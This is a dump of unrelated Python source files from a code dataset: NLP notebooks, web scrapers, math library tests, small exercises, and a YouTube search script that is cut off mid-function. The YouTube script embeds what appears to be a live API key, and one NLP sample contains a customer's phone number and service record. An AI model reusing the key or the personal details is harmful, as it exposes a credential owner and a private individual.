In[12]:\n\n\nprint(nlpltp.sent_segment('客户来电反映之前区营业厅办理卡的时候工作人员有为客户参与AA421066_全国不限量68包打98(6个月)和办理ACBZ14195 新爱家88(V2.0),13408470690 全球通 营销执行(电子渠道营销) 2039003395367 2019-06-28 12:09:45 ane130007(成都温江分公司龙翔通讯永兴路延迟结酬至202001李川川) 营业厅 无 电子化渠道营销执行 0.00 身份证件 '))\n\n\n# In[12]:\n\n\nprint(list(nlpltp.sent_pos('李克强总理今天来我家了,我感到非常荣幸')))\n\n\n# In[14]:\n\n\nprint(list(nlpltp.sent_ner('【手机】市民反映:浦东新区曹路镇顾曹公路市场路有乱设摊,市民未提供具体地址,具体设摊时间,诉求:请管理部门核实后尽快协调制止。')))\n\n\n# In[14]:\n\n\nimport json\na={\n \"segment\":[\"李克强\", \"总理\", \"今天\", \"来\", \"我家\", \"了\", \",\", \"我\", \"感到\", \"非常\", \"荣幸\"],\n \"pos\":[\"nh\", \"n\", \"nt\", \"v\", \"n\", \"u\", \"wp\", \"r\", \"v\", \"d\", \"a\"],\n \"ner\":[\"S-Nh\", \"O\", \"O\", \"O\", \"O\", \"O\", \"O\", \"O\", \"O\", \"O\", \"O\"]\n}\njson.dumps(a)\n\n\n# In[4]:\n\n\nprint(nlpltp.sent_syntax('李克强总理今天来我家了,我感到非常荣幸'))\n\n\n# In[25]:\n\n\nprint(nlpltp.sent_syntax_self('近日,一条男子高铁吃泡面被女乘客怒怼的视频引发热议'))\n\n\n# In[21]:\n\n\n# 语义角色分析\n# 核心的语义角色为 A0-5 六种,A0 通常表示动作的施事,A1通常表示动作的影响等,A2-5 根据谓语动词不同会有不同的语义含义。其余的15个语义角色为附加语义角色,如LOC 表示地点,TMP 表示时间等。附加语义角色列表见LTP官方说明文档\n\nprint(nlpltp.sent_role('今天上午我想看恐龙来了'))\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"pyltp/pyltp.py","file_name":"pyltp.py","file_ext":"py","file_size_in_byte":5383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"61053317","text":"import requests\nimport json\nimport pandas as pd\nimport datetime\n\nfrom common_tools import *\n\n\nheaders = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\",\n \"referer\": \"https://seekingalpha.com/\",\n}\n\n\ndef get_per_array(ticker):\n url = (\n \"https://seekingalpha.com/api/v3/symbols/\"\n + ticker\n + \"/metrics?filter[fields][]=pe_nongaap&filter[fields][]=pe_nongaap_fy1&filter[fields][]=pe_ratio&filter[fields][]=pe_gaap_fy1&filter[fields][]=peg_gaap&filter[fields][]=peg_nongaap_fy1&filter[fields][]=ev_12m_sales_ratio&filter[fields][]=ev_sales_fy1&filter[fields][]=ev_ebitda&filter[fields][]=ev_ebitda_fy1&filter[fields][]=ev_ebit&filter[fields][]=ev_ebit_fy1&filter[fields][]=ps_ratio&filter[fields][]=ps_ratio_fy1&filter[fields][]=pb_ratio&filter[fields][]=pb_fy1_ratio&filter[fields][]=price_cf_ratio&filter[fields][]=price_cf_ratio_fy1&filter[fields][]=dividend_yield\"\n )\n req = requests.get(url, headers=headers).content\n dataj = json.loads(req.decode(\"utf-8\"))\n per = round(dataj[\"data\"][1][\"attributes\"][\"value\"], 2)\n per_base = round(per, -1)\n per_array = [per] + [per_base * i / 5 for i in range(1, 8)]\n return per_array\n\n\ndef get_eps_df(ticker):\n url = (\n \"https://seekingalpha.com/symbol/\"\n + ticker\n + \"/financials-data?period_type=annual&statement_type=income-statement&order_type=latest_right&is_pro=true\"\n )\n req = requests.get(url, headers=headers).content\n dataj = json.loads(req.decode(\"utf-8\"))\n eps_df = dataj[\"data\"][4][1]\n eps_df = pd.DataFrame(eps_df).drop(0)[::-1].reset_index().drop(0).drop([\"index\"], axis=1)\n eps_df = eps_df[[\"name\", \"value\"]][:5]\n month_dict = {\n \"Jan\": 1,\n \"Feb\": 2,\n \"Mar\": 3,\n \"Apr\": 4,\n \"May\": 5,\n \"Jun\": 6,\n \"Jul\": 7,\n \"Aug\": 8,\n \"Sep\": 9,\n \"Oct\": 10,\n \"Nov\": 11,\n \"Dec\": 12,\n }\n for i in range(len(eps_df)):\n month, year = eps_df.loc[i + 1, \"name\"].split(\" \")\n time_tmp = datetime.datetime(int(year), month_dict[month], 1)\n eps_df.loc[i + 1, \"name\"] = time_tmp\n eps_temp = get_number(eps_df.loc[i + 1, \"value\"])\n eps_df.loc[i + 1, \"value\"] = eps_temp if eps_temp > 0 else 0\n\n url = (\n \"https://seekingalpha.com/symbol/\"\n + ticker\n + \"/earnings/estimates_data?data_type=eps&unit=earning_estimates\"\n )\n req = requests.get(url, headers=headers)\n dataj = json.loads(req.content.decode(\"utf-8\"))\n eps_data = pd.DataFrame(dataj[\"annual\"]).transpose()\n eps_data.sort_values(\"fiscalYear\", inplace=True)\n eps_data.set_index(\"fiscalYear\", inplace=True)\n year = int(datetime.datetime.now().strftime(\"%Y\"))\n for i in range(3):\n time_tmp = datetime.datetime(year, month_dict[month], 1)\n eps_df.loc[6 + i] = [time_tmp, round(eps_data.loc[year, \"estimate\"], 2)]\n year += 1\n eps_df = eps_df.sort_values(by=\"name\")\n eps_df[\"zero\"] = 0\n return eps_df.reset_index().drop(\"index\", axis=1)\n\n\ndef get_per_band(ticker):\n per_array = get_per_array(ticker)\n eps_df = get_eps_df(ticker)\n for per_value in per_array:\n eps_df[f\"{per_value}\"] = eps_df[\"value\"] * per_value\n return eps_df\n","sub_path":"chart/get_per_data.py","file_name":"get_per_data.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"402748352","text":"# coding: utf-8\n\nfrom collections import OrderedDict\n\nfrom sympy.tensor import Indexed\n\nfrom sympde.topology import InteriorDomain, Union\nfrom sympde.topology import Boundary, NormalVector, TangentVector\nfrom sympde.topology import Connectivity, Edge\nfrom sympde.topology import Domain, ElementDomain\nfrom sympde.topology import Area\nfrom sympde.topology import Interface\nfrom sympde.topology import Line, Square\n\nimport os\n\nbase_dir = os.path.dirname(os.path.realpath(__file__))\ntopo_dir = os.path.join(base_dir, 'data')\n\n\n#==============================================================================\ndef test_interior_domain():\n D1 = InteriorDomain('D1', dim=2)\n D2 = InteriorDomain('D2', dim=2)\n\n assert( D1.todict() == OrderedDict([('name', 'D1')]) )\n assert( D2.todict() == OrderedDict([('name', 'D2')]) )\n\n assert( Union(D2, D1) == Union(D1, D2) )\n\n D = Union(D1, D2)\n\n assert(D.dim == 2)\n assert(len(D) == 2)\n assert( D.todict() == [OrderedDict([('name', 'D1')]),\n OrderedDict([('name', 'D2')])] )\n\n#==============================================================================\ndef test_topology_1():\n # ... create a domain with 2 subdomains A and B\n A = InteriorDomain('A', dim=2)\n B = InteriorDomain('B', dim=2)\n\n connectivity = Connectivity()\n\n bnd_A_1 = Boundary('Gamma_1', A)\n bnd_A_2 = Boundary('Gamma_2', A)\n bnd_A_3 = Boundary('Gamma_3', A)\n\n bnd_B_1 = Boundary('Gamma_1', B)\n bnd_B_2 = Boundary('Gamma_2', B)\n bnd_B_3 = Boundary('Gamma_3', B)\n\n connectivity['I'] = Interface('I', bnd_A_1, bnd_B_2)\n\n Omega = Domain('Omega',\n interiors=[A, B],\n boundaries=[bnd_A_2, bnd_A_3, bnd_B_1, bnd_B_3],\n connectivity=connectivity)\n\n interfaces = Omega.interfaces\n assert(isinstance(interfaces, Interface))\n\n # export\n Omega.export('omega.h5')\n # ...\n\n # read it again and check that it has the same description as Omega\n D = Domain.from_file('omega.h5')\n assert( D.todict() == Omega.todict() )\n\n#==============================================================================\ndef test_domain_1():\n Omega_1 = InteriorDomain('Omega_1', dim=2)\n Omega_2 = InteriorDomain('Omega_2', dim=2)\n\n Gamma_1 = Boundary('Gamma_1', Omega_1)\n Gamma_2 = Boundary('Gamma_2', Omega_2)\n Gamma_3 = Boundary('Gamma_3', Omega_2)\n\n Omega = Domain('Omega',\n interiors=[Omega_1, Omega_2],\n boundaries=[Gamma_1, Gamma_2, Gamma_3])\n\n assert( Omega.dim == 2 )\n assert( len(Omega.interior) == 2 )\n assert( len(Omega.boundary) == 3 )\n\n#==============================================================================\ndef test_boundary_1():\n Omega_1 = InteriorDomain('Omega_1', dim=2)\n\n Gamma_1 = Boundary('Gamma_1', Omega_1)\n Gamma_2 = Boundary('Gamma_2', Omega_1)\n\n Omega = Domain('Omega',\n interiors=[Omega_1],\n boundaries=[Gamma_1, Gamma_2])\n\n assert(Omega.boundary == Union(Gamma_1, Gamma_2))\n assert(Omega.boundary.complement(Gamma_1) == Gamma_2)\n assert(Omega.boundary - Gamma_1 == Gamma_2)\n\n#==============================================================================\ndef test_boundary_2():\n Omega_1 = InteriorDomain('Omega_1', dim=2)\n\n Gamma_1 = Boundary('Gamma_1', Omega_1)\n Gamma_2 = Boundary('Gamma_2', Omega_1)\n Gamma_3 = Boundary('Gamma_3', Omega_1)\n\n Omega = Domain('Omega',\n interiors=[Omega_1],\n boundaries=[Gamma_1, Gamma_2, Gamma_3])\n\n assert(Omega.boundary == Union(Gamma_1, Gamma_2, Gamma_3))\n assert(Omega.boundary.complement(Gamma_1) == Union(Gamma_2, Gamma_3))\n assert(Omega.boundary - Gamma_1 == Union(Gamma_2, Gamma_3))\n\n#==============================================================================\ndef test_boundary_3():\n Omega_1 = InteriorDomain('Omega_1', dim=2)\n\n Gamma_1 = Boundary(r'\\Gamma_1', Omega_1, axis=0, ext=-1)\n Gamma_4 = Boundary(r'\\Gamma_4', Omega_1, axis=1, ext=1)\n\n Omega = Domain('Omega',\n interiors=[Omega_1],\n boundaries=[Gamma_1, Gamma_4])\n\n assert(Omega.get_boundary(axis=0, ext=-1) == Gamma_1)\n assert(Omega.get_boundary(axis=1, ext=1) == Gamma_4)\n\n#==============================================================================\ndef test_element():\n D1 = InteriorDomain('D1', dim=2)\n D2 = InteriorDomain('D2', dim=2)\n\n D = Union(D1, D2)\n\n e1 = ElementDomain()\n\n a = Area(e1)\n print(a)\n\n a = Area(D1)\n print(a)\n\n assert(Area(D) == Area(D1) + Area(D2))\n\n#==============================================================================\ndef test_domain_join_line():\n\n # ... line\n A = Line('A')\n B = Line('B')\n C = Line('C')\n # ...\n\n AB_bnd_minus = A.get_boundary(axis=0, ext=1)\n AB_bnd_plus = B.get_boundary(axis=0, ext=-1)\n\n AB = A.join(B, name = 'AB',\n bnd_minus = AB_bnd_minus,\n bnd_plus = AB_bnd_plus)\n\n\n print(AB)\n assert AB.interior == Union(A.interior, B.interior)\n assert AB.interfaces == Interface('A_x1|B_x1', AB_bnd_minus, AB_bnd_plus)\n print(AB.connectivity)\n print('')\n # ...\n\n # ...\n\n BC_bnd_minus = B.get_boundary(axis=0, ext=1)\n BC_bnd_plus = C.get_boundary(axis=0, ext=-1)\n\n ABC = AB.join(C, name = 'ABC',\n bnd_minus = BC_bnd_minus,\n bnd_plus = BC_bnd_plus)\n\n print(ABC)\n assert ABC.interior == Union(A.interior, B.interior, C.interior)\n assert ABC.interfaces == Union(Interface('A_x1|B_x1', AB_bnd_minus, AB_bnd_plus),Interface('B_x1|C_x1', BC_bnd_minus, BC_bnd_plus))\n print(list(ABC.connectivity.items()))\n print('')\n # ...\n\n#==============================================================================\ndef test_domain_join_square():\n\n # ... line\n A = Square('A')\n B = Square('B')\n C = Square('C')\n # ...\n\n # ...\n AB_bnd_minus = A.get_boundary(axis=0, ext=1)\n AB_bnd_plus = B.get_boundary(axis=0, ext=-1)\n\n AB = A.join(B, name = 'AB',\n bnd_minus = AB_bnd_minus,\n bnd_plus = AB_bnd_plus)\n\n print(AB)\n assert AB.interior == Union(A.interior, B.interior)\n assert AB.interfaces == Interface('A|B', AB_bnd_minus, AB_bnd_plus)\n print(AB.connectivity)\n # ...\n BC_bnd_minus = B.get_boundary(axis=0, ext=1)\n BC_bnd_plus = C.get_boundary(axis=0, ext=-1)\n\n ABC = AB.join(C, name = 'ABC',\n bnd_minus = BC_bnd_minus,\n bnd_plus = BC_bnd_plus)\n\n print(ABC)\n assert ABC.interior == Union(A.interior, B.interior, C.interior)\n assert ABC.interfaces == Union(Interface('A|B', AB_bnd_minus, AB_bnd_plus),Interface('B|C', BC_bnd_minus, BC_bnd_plus))\n print(list(ABC.connectivity.items()))\n print('')\n # ...\n\n\n\n#==============================================================================\n# CLEAN UP SYMPY NAMESPACE\n#==============================================================================\n\ndef teardown_module():\n from sympy import cache\n cache.clear_cache()\n\n # Remove output file generated by test_topology_1()\n fname = 'omega.h5'\n if os.path.exists(fname):\n os.remove(fname)\n\ndef teardown_function():\n from sympy import cache\n cache.clear_cache()\n","sub_path":"sympde/topology/tests/test_topology.py","file_name":"test_topology.py","file_ext":"py","file_size_in_byte":7305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"358290001","text":"class Person:\n def __init__(self, name, age, address):\n self.set_name(name)\n self.set_age(age)\n self.set_address(address)\n\n def get_name(self):\n return self.name\n\n def get_age(self):\n return self.age\n\n def get_address(self):\n return self.address\n\n def set_name(self, name):\n self.name = name\n\n def set_age(self, age):\n # Jika umur yang dimasukkan bernilai negatif, maka umur diatur nilainya menjadi 0\n if (age >= 0):\n self.age = age\n else:\n self.age = 0\n\n def set_address(self, address):\n self.address = address\n\nprint('Selamat Datang di Program Penyimpanan Data Diri')\nprint('-----------------------------------------------')\n# Proses pemasukan data\nnama = input('Masukkan nama Anda: ')\numur = int(input('Masukkan umur Anda: '))\nalamat = input('Masukkan alamat Anda: ')\npengguna = Person(nama, umur, alamat)\n# Proses pemilihan menu\nflag = True;\nwhile (flag):\n print('-----------------------------------------------')\n print('1. Tampilkan data diri')\n print('2. Ubah nama Anda')\n print('3. Ubah umur Anda')\n print('4. Ubah alamat Anda')\n print('5. Keluar')\n pilihan = int(input('Masukkan pilihan Anda (1..5): '))\n if (pilihan == 1):\n print('Nama: ' + pengguna.get_name())\n print('Umur: ' + str(pengguna.get_age()) + ' tahun')\n print('Alamat: ' + pengguna.get_address())\n elif (pilihan == 2):\n print('Nama sebelumnya: ' + pengguna.get_name())\n nama = input('Masukkan nama baru: ')\n pengguna.set_name(nama)\n print('Nama Anda berhasil diganti')\n elif (pilihan == 3):\n print('Umur sebelumnya: ' + str(pengguna.get_age()))\n umur = int(input('Masukkan umur baru: '))\n pengguna.set_age(umur)\n print('Umur Anda berhasil diganti')\n elif (pilihan == 4):\n print('Alamat sebelumnya: ' + pengguna.get_address())\n alamat = input('Masukkan alamat baru: ')\n pengguna.set_address(alamat)\n print('Alamat Anda berhasil diganti')\n elif (pilihan == 5):\n flag = False\n else:\n print('Pilihan yang Anda masukkan tidak valid.')\nprint('-----------------------------------------------')\nprint('Terima kasih sudah menggunakan program ini. Sampai jumpa lain kali!')\n","sub_path":"projek_akhir.py","file_name":"projek_akhir.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"648384386","text":"import flickrapi\nimport os\nfrom os.path import expanduser\nimport urllib2\nimport shutil\n\nfrom scrapy import log\nfrom scrapy.conf import settings\nfrom scrapy.spider import Spider\nfrom scrapy.selector import HtmlXPathSelector\n\n\n# Constants\nTMP_OUTPUT_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'out')\nLOCAL_DIR_FILE = './.local_dir'\nLOCAL_DIR = 'Desktop'\nTITLE_SPACER = '\\n\\n\\n'\nPARAGRAPH_SPACER = '\\n\\n'\n\nPROCESSING_TYPES = {\n 'flickr': 0,\n 'file': 1\n}\n\n\nclass HQRoomRuSpider(Spider):\n name = 'hqroom_ru'\n allowed_domains = ['hqroom.ru']\n processing_type = PROCESSING_TYPES['file']\n\n def __init__(self, **kwargs):\n type = kwargs.get('type', None)\n if type and type in PROCESSING_TYPES:\n self.processing_type = PROCESSING_TYPES[type]\n\n # Reading local dir settings\n try:\n f = open(LOCAL_DIR_FILE)\n line = f.readline().rstrip('\\n')\n except IOError:\n line = None\n\n if line:\n self.OUTPUT_DIR = line\n else:\n self.OUTPUT_DIR = '%s/%s' % (expanduser('~'), LOCAL_DIR)\n\n super(Spider, self).__init__(**kwargs)\n\n def parse(self, response):\n hxs = HtmlXPathSelector(response)\n post_div = hxs.select('//div[@class=\"post\"]')\n\n # Getting title\n title = post_div.select('./h1/text()')\n title_e = title.extract()[0].encode('utf-8', 'replace')\n\n # Getting paragraphs contents\n texts_e = ''\n paragraphs = post_div.select('./div[@class=\"posts-text-block\"]/p')\n for p in paragraphs:\n p_items = p.select('.//text()')\n p_texts = map(lambda x: x.extract(), p_items)\n\n links = p.select('./a')\n if links:\n # Adding links (if any) as text in brackets\n for link in links:\n link_href = link.select('./@href').extract()[0]\n link_text = link.select('./text()').extract()[0]\n try:\n index = p_texts.index(link_text)\n p_texts[index] = '%s (%s)' % (link_text, link_href)\n except ValueError:\n pass\n\n p_text = ''.join(p_texts)\n texts_e += '%s%s' % (p_text.encode('utf-8', 'replace'), PARAGRAPH_SPACER)\n\n # Adding source URL\n texts_e += 'Source: %s' % response.url\n\n \t# Creating output dir\n if not os.path.exists(TMP_OUTPUT_DIR):\n os.makedirs(TMP_OUTPUT_DIR) \t\n\n # Getting & saving images\n images_saved = []\n images = post_div.select('./div[@class=\"posts-text-block\"]//img')\n for image in images:\n image_src = image.select('./@src').extract()[0]\n image_name = image_src.split('/')[-1]\n image_file = urllib2.urlopen(image_src)\n output = open('%s/%s' % (TMP_OUTPUT_DIR, image_name),'wb')\n output.write(image_file.read())\n output.close()\n log.msg('Downloaded: %s/%s' % (TMP_OUTPUT_DIR, image_name), level = log.DEBUG, spider = self)\n images_saved.append('%s/%s' % (TMP_OUTPUT_DIR, image_name))\n\n if self.processing_type == PROCESSING_TYPES['flickr']:\n self.process_flickr(images_saved, title_e, texts_e)\n elif self.processing_type == PROCESSING_TYPES['file']:\n self.process_file(title_e, texts_e)\n\n # Cleaning up\n shutil.rmtree(TMP_OUTPUT_DIR)\n log.msg('Cleared %s dir' % TMP_OUTPUT_DIR, level = log.DEBUG, spider = self)\n\n def process_flickr(self, images_saved, title_e, texts_e):\n # Flickr authentication\n flickr = flickrapi.FlickrAPI(settings['FLICKR_API_KEY'], settings['FLICKR_API_SECRET'])\n (token, frob) = flickr.get_token_part_one(perms='write')\n if not token:\n raw_input('Press ENTER after you authorized this program')\n flickr.get_token_part_two((token, frob))\n\n # Uploading images to Flickr\n images_uploaded_ids = []\n for image in images_saved:\n log.msg('Uploading file: %s' % image, level = log.DEBUG, spider = self)\n f_upload_resp = flickr.upload(filename = image.encode('ascii', 'replace'))\n image_id = f_upload_resp.find('photoid').text\n log.msg('Uploaded with ID: %s' % image_id, level = log.DEBUG, spider = self)\n images_uploaded_ids.append(image_id)\n\n # Creating Flickr set and populating it with uploaded images\n f_set_resp = flickr.photosets_create(\n title = title_e,\n description = texts_e,\n primary_photo_id = images_uploaded_ids[0]\n )\n set_id = f_set_resp.find('photoset').attrib['id']\n log.msg('Created set with ID: %s' % set_id, level = log.DEBUG, spider = self)\n for id in images_uploaded_ids[1:]:\n flickr.photosets_addPhoto(\n photoset_id = set_id,\n photo_id = id\n )\n log.msg('Added image with ID = %s to set with ID = %s' % (id, set_id), level = log.DEBUG, spider = self)\n\n def process_file(self, title_e, texts_e):\n target_dir = '%s/%s' % (self.OUTPUT_DIR, title_e)\n shutil.copytree(TMP_OUTPUT_DIR, target_dir)\n description = file('%s/description.txt' % target_dir, 'w')\n description.write(texts_e)\n description.close()\n","sub_path":"scrappers/spiders/hqroom_ru_spider.py","file_name":"hqroom_ru_spider.py","file_ext":"py","file_size_in_byte":5404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"143464669","text":"import jinja2\nfrom latex.jinja2 import make_env\nimport latex.build as latex\nimport urllib.request as rq\nimport xmltodict\n\n\nclass Member:\n def __init__(self, name, surname, car, module, function, tasks):\n self.name = name\n self.surname = surname\n self.male = self.is_male()\n self.car = car\n self.module = module\n self.function = function\n self.tasks = [Task(el) for el in tasks]\n\n def is_male(self):\n female_exceptions = ['Jasmin']\n male_exceptions = []\n\n if self.name in female_exceptions:\n return False\n elif self.name in male_exceptions:\n return True\n\n xml = rq.urlopen(\n 'http://www.thomas-bayer.com/restnames/name.groovy?name={}'.format(\n self.name\n )\n ).read()\n dict = xmltodict.parse(xml)\n try:\n return dict['restnames']['nameinfo']['male'] == 'true'\n except KeyError:\n namepedia = rq.urlopen(\n 'http://www.namepedia.org/en/firstname/{}/'.format(self.name)\n ).read()\n return b'male' in namepedia\n\n def __str__(self):\n taskstring = '\\n'.join([el.__str__() for el in self.tasks])\n return '{}, {}: {}, worked on {} {} as {}, responsible:\\n{}'.format(\n self.surname,\n self.name,\n 'male' if self.male else 'female',\n self.car,\n self.module,\n self.function,\n taskstring\n )\n\n\nclass Task:\n def __init__(self, string):\n tasklist = [el.strip() for el in string.split('@')]\n\n self.task = tasklist[0]\n self.subtasks = tasklist[1:] if len(tasklist) > 1 else []\n\n def __str__(self):\n out = '\\t*{}'.format(self.task)\n for task in self.subtasks:\n out += '\\n\\t\\t-{}'.format(task)\n return out\n\n\nenv = make_env(loader=jinja2.FileSystemLoader('.'))\ntpl = env.get_template('template.tex')\nbuilder = latex.PdfLatexBuilder(pdflatex='xelatex')\n\nname = 'Florian Eich'\nleader = True\nmale = True\n\nmember = Member('Merve', 'Yesilirmak', 'PW10.16', 'Chassis', 'Teamleiter',\n ['Werkzeug versaubeuteln @ im Chassis @ im Fahrwerk', 'geiler Arsch'])\n\ntexstream = tpl.render(\n gpath='/home/flrn/workbench/mms-certificates/etc/figures/',\n draft=True,\n member=member, year='2016', prof='Jörg Grabner', profsig='profsig',\n teamcaptain='Max Bauer', tcsig='tcsig.pdf', board='so atzen halt')\n\npdf = builder.build_pdf(texstream)\npdf.save_to('test.pdf')\n","sub_path":"etc/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"342437435","text":"f = open(\"001input.txt\",'r')\nexpense = f.readlines()\nexpense = [ int(num.strip()) for num in expense ]\nprint(f\"A total of {len(expense)} lines are in the file\")\nsolved = 0\nfor i,num1 in enumerate(expense):\n print(f\"Examing the {i} number\")\n for j in range(i, len(expense)):\n num2 = expense[j]\n sum = num1 + num2\n print(sum)\n if sum == 2020:\n mul = num1 * num2\n print(mul)\n solved = 1\n break\n if solved == 1:\n break\nf.close()\n","sub_path":"day1/day1_1run.py","file_name":"day1_1run.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"46919125","text":"#-*-coding:utf-8-*-\n\nimport os\nimport sys\nimport json\n\n\nif __name__ == '__main__':\n\n\tfile_directory = sys.argv[1]\n\tdestination_file = sys.argv[2]\n\n\twith open(destination_file, mode=\"w\", encoding=\"utf-8\") as dtnf:\n\t\tfor sub_file in os.listdir(file_directory):\n\t\t\tif sub_file.find('mag_papers_') != -1 or sub_file.find('aminer_papers_') != -1:\n\t\t\t\twith open(os.path.join(file_directory, sub_file), mode='r') as source_file:\n\t\t\t\t\tfor line in source_file:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\ttmp = json.loads(line)\n\t\t\t\t\t\t\tif 'id' in tmp:\n\t\t\t\t\t\t\t\tdtnf.write(tmp['id'] + os.linesep)\n\t\t\t\t\t\texcept json.decoder.JSONDecodeError as e:\n\t\t\t\t\t\t\tprint(sub_file, e)\n\t\t\t\t\t\t\tcontinue\n","sub_path":"data_process/benchMark/get_id.py","file_name":"get_id.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"543978990","text":"from collections import deque\n\nboxes = [int(x) for x in input().split()]\nmagic = deque(int(x) for x in input().split())\npresents = {\n 150: \"Doll\",\n 250: \"Wooden train\",\n 300: \"Teddy bear\",\n 400: \"Bicycle\"\n}\ncrafted_presents = {}\nwhile boxes and magic:\n box = boxes.pop()\n magic_value = magic.popleft()\n result = box * magic_value\n\n if box == 0 and magic_value == 0:\n continue\n if box == 0:\n magic.appendleft(magic_value)\n continue\n if magic_value == 0:\n boxes.append(box)\n\n if result < 0:\n boxes.append(box + magic_value)\n\n elif result in presents:\n pass\n present = presents[result]\n if present in crafted_presents:\n crafted_presents[present] += 1\n else:\n crafted_presents[present] = 1\n else:\n boxes.append(box + 15)\nis_done = ('Doll' in crafted_presents and \"Wooden train\" in crafted_presents) or\\\n ('Teddy bear' in crafted_presents and 'Bicycle' in crafted_presents)\nif is_done:\n print(\"The presents are crafted! Merry Christmas!\")\nelse:\n print(\"No presents this Christmas!\")\nif boxes:\n print(f\"Materials left: {', '.join(str(a) for a in boxes[::-1])}\")\nif magic:\n print(f\"Magic left: {', '.join(str(a) for a in magic)}\")\nfor present, amount in sorted(presents.items()):\n print(f\"{present}: {amount}\")","sub_path":"Python-Advanced/Stacks_and_Queues/santa_factory_2.py","file_name":"santa_factory_2.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"273987882","text":"from collections import deque\n\n\ndef valid_parenthesis(s):\n d = {'{': '}', '[': ']', '(': ')', '<': '>'}\n stack = deque()\n for i in s:\n if i in d.keys():\n stack.append(i)\n elif i in d.values():\n try:\n if d[stack.pop()] == i:\n continue\n else:\n return False\n except IndexError:\n return False\n if len(stack) == 0:\n return True\n else:\n return False\n\n\ns = \"((())){\"\nprint(valid_parenthesis(s))\n","sub_path":"valid_parenthesis.py","file_name":"valid_parenthesis.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"609522484","text":"import numpy as np\nimport pandas as pd\n\nFEATURE_COLUMNS_WITH_DATE = [\n 'date',\n 'chibs',\n 'hm',\n 'is',\n 'lr',\n 'price'\n]\n\nINPUT_COLUMNS = [\n 'chibs',\n 'hm',\n 'is',\n 'lr',\n]\n\nOUTPUT_COLUMNS = [\n 'price'\n]\n\ndef create_dataset(df):\n \n ## assert the input is a pandas dataframe\n assert type(df) == pd.core.frame.DataFrame\n \n ## split into x, y\n return df.loc[:, INPUT_COLUMNS], df.loc[:, OUTPUT_COLUMNS]\n\ndef import_file(file_path):\n \n ## assert the input is a string\n assert type(file_path) == str\n\n ## load in features ...\n features_df = pd.read_csv(file_path, index_col=0)\n\n ## return features data frame ...\n return features_df.loc[:, FEATURE_COLUMNS_WITH_DATE]\n\ndef scale(features_df):\n \n ## assert the input is a pandas dataframe\n assert type(features_df) == pd.core.frame.DataFrame\n\n df = features_df.copy()\n for col in np.union1d(INPUT_COLUMNS, OUTPUT_COLUMNS):\n df[col] = df[col].map(lambda x: x / df[col].max()).astype(float)\n\n return df\n\ndef scale_and_transform(features_df):\n\n ## assert the input is a pandas dataframe\n assert type(features_df) == pd.core.frame.DataFrame\n \n df = features_df.copy()\n df.price = df.price.apply(np.log).astype(float)\n \n for col in INPUT_COLUMNS:\n df[col] = np.log(df[col] ** 2)\n \n return scale(df)\n\ndef scale_into_datasets(features_df):\n \n ## assert the input is a pandas dataframe\n assert type(features_df) == pd.core.frame.DataFrame\n \n df = features_df.copy()\n for col in INPUT_COLUMNS:\n df[col] = np.log(df[col] ** 2)\n\n return create_dataset(\n scale(df))\n\ndef scale_and_transform_into_datasets(features_df):\n return create_dataset(\n scale_and_transform(features_df))\n\ndef mse(y, y_hat):\n\n s_ = (y - y_hat) ** 2\n return np.mean(s_)\n\n","sub_path":"Thesis/Mallet/notebooks/models/imports/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"102509705","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 26 15:24:11 2016\r\n\r\n@author: ebiw\r\n\"\"\"\r\n#!/usr/bin/python\r\n\r\nfrom apiclient.discovery import build\r\nfrom apiclient.errors import HttpError\r\nfrom oauth2client.tools import argparser\r\nimport sys\r\nimport pandas as pd #pip install pandas\r\nimport matplotlib as plt\r\nimport json\r\nimport csv\r\n# Set DEVELOPER_KEY to the API key value from the APIs & auth > Registered apps\r\n# tab of\r\n# https://cloud.google.com/console\r\n# Please ensure that you have enabled the YouTube Data API for your project.\r\nDEVELOPER_KEY = \"AIzaSyAPY7J0-a8ci4LF8S7ssIkMP5cjRfFCu3k\"\r\nYOUTUBE_API_SERVICE_NAME = \"youtube\"\r\nYOUTUBE_API_VERSION = \"v3\"\r\ndef uprint(*objects, sep=' ', end='\\n', file=sys.stdout):\r\n enc = file.encoding\r\n if enc == 'UTF-8':\r\n print(*objects, sep=sep, end=end, file=file)\r\n else:\r\n f = lambda obj: str(obj).encode(enc, errors='backslashreplace').decode(enc)\r\n print(*map(f, objects), sep=sep, end=end, file=file)\r\ndef youtube_search(options):\r\n youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\r\n developerKey=DEVELOPER_KEY)\r\n\r\n # Call the search.list method to retrieve results matching the specified\r\n # query term.\r\n search_response = youtube.search().list(\r\n q=options.q,\r\n part=\"id,snippet\",\r\n #part=\"id,snippet\",\r\n 